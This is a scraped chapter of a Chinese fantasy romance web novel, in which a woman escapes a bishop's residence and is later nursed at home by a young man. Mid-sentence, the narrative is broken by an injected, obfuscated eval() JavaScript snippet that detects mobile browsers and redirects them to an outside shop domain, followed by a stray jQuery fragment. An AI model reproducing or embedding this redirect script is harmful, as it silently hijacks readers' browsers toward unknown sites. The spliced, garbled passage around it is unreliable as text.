文趣网 > 其他小说 > 被阴湿天龙人缠上后 > 13. 噩梦
    眼看后面的人已经跑得没影,雨下大起来,皮肤像被密密麻麻的蚂蚁啄食般疼痛。陆庭均黑眸里闪过一丝阴沉,回头看着两个修女架着的沈瞳清。

    她已晕倒,一头柔顺的黑长直发贴在脸颊两侧,无力地垂着脑袋。

    意识模糊间,沈瞳清听到布袋窸窸窣窣的声响,接着是陆庭均吩咐修女:“停……把她放车上。”

    “大人,她身上有气息。”

    “不用你说。”

    “兽人不应该直接处死吗?”

    “她不是。”

    ……

    雨声把沈瞳清从混沌里一点点拉回来。

    最先醒来的是后背,鞭伤像一条烧红的铁丝埋在肉里,稍动一下,整条脊骨都跟着发颤。

    她趴着没敢出声,把脸埋进枕头里缓了好一会儿,才慢慢撑起身。

    抬头,入目是陌生的房间。床柱支着深灰色的帐幔,被褥浆洗得发硬,有很淡的艾草和蜡油味。枕头、被角、床单折痕,全部对得整整齐齐,一尘不染得令人咋舌。

    这个房间的主人,恐怕连灰尘落在床头柜上,都会面无表情地拿白手套抹一下,再捏着手指把手套扔掉。

    忽然□□有些热涌,低头看见血沾到了床上,她脸色有些难看,左顾右盼,从床头扯过几张纸,草草垫在裤子里。

    壁炉没有生火,冻得沈瞳清小腿发紧。床对面挂着一幅圣母像,颜色暗淡,低垂着眼睛,冰冷地凝视着她。

    屋里只有矮柜、木椅和床角一只铜盆,盆里盛着半盆浑浊的血水和毛巾。

    她赤脚踩在石地板上,来到门前,拧了拧,只听见锁舌弹了一下,门却纹丝不动。

    沈瞳清又推了推,再推了推,最后额头抵在门板上,呼吸潮热地扑回脸上。

    门从外面锁死了。沈瞳清歇了一会重新站起来,她向来不是坐以待毙的人。

    窗户在床的正对面。她推开窗,外面是主教府的内庭,四四方方,修剪得体的草坪和庭院,被高耸的灰石墙围住。远处只有一圈铅灰色的天,偶尔滚过几声闷雷。

    门锁啪嗒一声,门终于可以被打开。沈瞳清攥着从文胸里抽出的钢丝揣进包里,走廊空旷,漆黑压抑。

    一间间房间门紧闭着,沈瞳清找寻楼梯。试着推了几扇,全都上了锁。下到第二层时,迎面有女仆端着茶水过来,她侧身躲到廊柱背后。

    本想等女仆走开,却听见陆庭均在房里吩咐人:“安排一下,把她送回去。”

    停顿片刻,他又改口:“不,我要亲自去一趟。”语气很淡,声音深沉,带着成年男人特有的磁性。

    届时终端响了,管家恭敬地通报:“大人,理事钱先生来了。”

    陆庭均吩咐仆人去准备衣服,沈瞳清赶紧往柱后缩。

    脚步声传来,沈瞳清悄悄看了一眼来人,身体一下绷紧——钱穹!真是冤家路窄。

    他进屋后,沈瞳清走到一楼,发现门口有两个仆人候着,于是又蹑手蹑脚潜回来偷窥陆庭均的书房。

    钱穹坐在陆庭均办公桌前的沙发上,两人在谈论些什么。

    陆庭均眼皮一掀,不咸不淡开口:“债务汇款还需要理事亲自跑一趟?”

    钱穹笑道:“总得视察一下我们大主教出差回来,了解一下银行各个地方的服务反馈呀。”

    “不错。”陆庭均难得给了两个字。

    “那是,咱们银行的汇款效率最快,货币兑换的种类最多!”

    管家亲自端上茶水。

    沈瞳清透过廊柱缝隙看过去,钱穹大马金刀地坐着,指尖转着一枚金币,又极其自然地把桌上那一箱金币往自己面前一搂。随后将一份文件置在办公台上推向陆庭均。

    陆庭均扫了一眼,盖了主教印章,钱穹这才笑嘻嘻地说:“以后扩建完了记得请我吃饭。”

    陆庭均没接话,起身走到落地镜旁的盆中洗手,又对着镜子抬手整了整袖口,指腹沿着袖线慢慢捋平。

    钱穹挑眉:“什么事啊?又要出去巡逻?歇歇吧,你是主教,又不是那些基层城防官,实在不行让执事官去啊!”

    陆庭均面无表情地看着他。钱穹举起手:“行行行,我就嘴上说说,谁管你啊?”

    陆庭均:“见人。”

    钱穹随口一问:“谁?”

    管家适时前迈一步,解惑:“昨天大人带回一个客人。”

    “呦,男的女的呀?”钱穹瞬间来了精神,身体前倾。管家看陆庭均脸色,没回话。钱穹睁大眼:“女人啊?!什么人能把你拿下呀!”

    陆庭均想来那双翼黑龙也不可能是个母龙,漆黑瞳孔掠过一丝锐利:“只是因为怀疑误伤了她,需要确认一下身份罢了。”

    钱穹全然不听,兴趣高涨。他这种归类为商人一派的人被教会剥削得厉害,好不容易逮到陆庭均的私事,硬要作对似的,跟在陆庭均后边说什么也要跟着去。

    沈瞳清听见椅子腿刮过地面,脚步声往这边来了。心头一惊,拔腿往回跑,进门后把锁扣上,在房间里左顾右盼,目光落在床单上——

    现在倒是礼貌得体。管家代替主教敲了敲门,无人响应。

    门口静候的主教脸色越来越阴沉,旁边的钱穹看戏似的,手指抵着下巴,瞧陆庭均的脸色,饶有趣味地“呦呵”了一声,示意管家开门。

    床单被编成绳索甩下窗台。她刚翻出窗,身后门锁便“咔哒”一声弹开。

    门推开,主教率先迈入,窗户大开,风呼啦啦灌进来。陆庭均脚步一顿,面无表情地扫过房间,随即大步走向窗台,往下探看。

    钱穹站在门口,皮鞋在木地板上踩出硬底的脆响,眼尖瞧见被子上那块显眼的血渍,走近一看,嗤笑着摇头:“这是干什

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861964|212041||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么?落跑甜心吗?啧啧啧,庭均,我还以为你六根清净,不近情欲呢?看来是我看走眼了……哈哈。”

    陆庭均看见床单的血迹,没有解释。

    ……

    等脚步声远去许久沈瞳清才推开衣柜门,瘫坐在地上喘粗气。

    抓着床单往下滑,落地时脚踝一崴,疼得她倒吸一口冷气,却不敢停,一瘸一拐冲进雨里。

    要是被陆庭均亲自送回去,家里的艾蒂安就完了。她现在只庆幸自己进过护卫队,能从教府的围墙上翻出去。

    背后的伤口由痛渐变成灼热,意识也迷离起来,只想快点回家。后来不知道怎么撞上了艾蒂安。他似乎也在找她,撑着从家里翻出的那把旧伞,半身被雨浇得湿透,见到她时一句话没说,把她胳膊架上肩。

    沈瞳清迷迷糊糊地回到家,沾床就睡死过去。

    谁知突然听见有人破门而入的声音,她猛地惊醒,推开门,发现是钱穹和陆庭均——两人投射过来的目光,一个炽热,一个冰冷。

    而艾蒂安被捆在地上,嘴里塞着布,眼睛却死死望着她。

    “啊!”她尖叫着惊醒,后背全是冷汗,又被坐在旁边的艾蒂安吓得一哆嗦。

    他手里拿着药膏,蹲在床边,她这才感觉到脚腕上油腻的触感,原来他在帮她上药。

    艾蒂安微微蹙眉,看了她一会儿,又低下头继续涂药。

    手指很轻,凉的药膏抹在肿处。她随即察觉到后背的鞭伤传来清凉的凉意,正要伸手去摸,艾蒂安出声:“别碰!”

    刚醒来,头脑还有些转不过弯,她悻悻收回手。

    “你发烧了。”他声音似乎柔和了些,说完转身出去拿了退烧药进来。

    沈瞳清勉强撑起身吃了药,抿着唇看他:“你怎么知道的?”

    他抬眼,月光透过窗户洒在他的脸上,那双清冷的紫眸被月色照得一览无遗,睫毛在眼下映出一小片阴影。

    艾蒂安淡淡道:“你回来时身上穿的衣服和出去时不一样,是内衫,白色的,背后……还有血渍。”

    他又问:“伤哪来的?”

    沈瞳清深深看了他一眼,没说话。

    他沉默片刻,没头没尾地问了一句:“你很缺钱吗?”

    沈瞳清强撑着莞尔:“有点。”又开玩笑似的补了句,“你有啊?”

    倒不至于惦记他包里那点零花钱,毕竟也是她给的。

    本来是开玩笑,没想到艾蒂安眉眼认真,微微皱眉说:“我给你,你就不出去了吗?”

    说着他转身出去,拿了个破布袋子进来。她仔细一看,是刚捡到他时穿的衣服,不知什么时候找了针线缝成了钱包,针脚细密,但布角还是旧的。又是跟梅兰妮学的吗。

    “现在只有这点。你先拿着,我会给你更多,但要等我一段时间。”艾蒂安难得有些局促。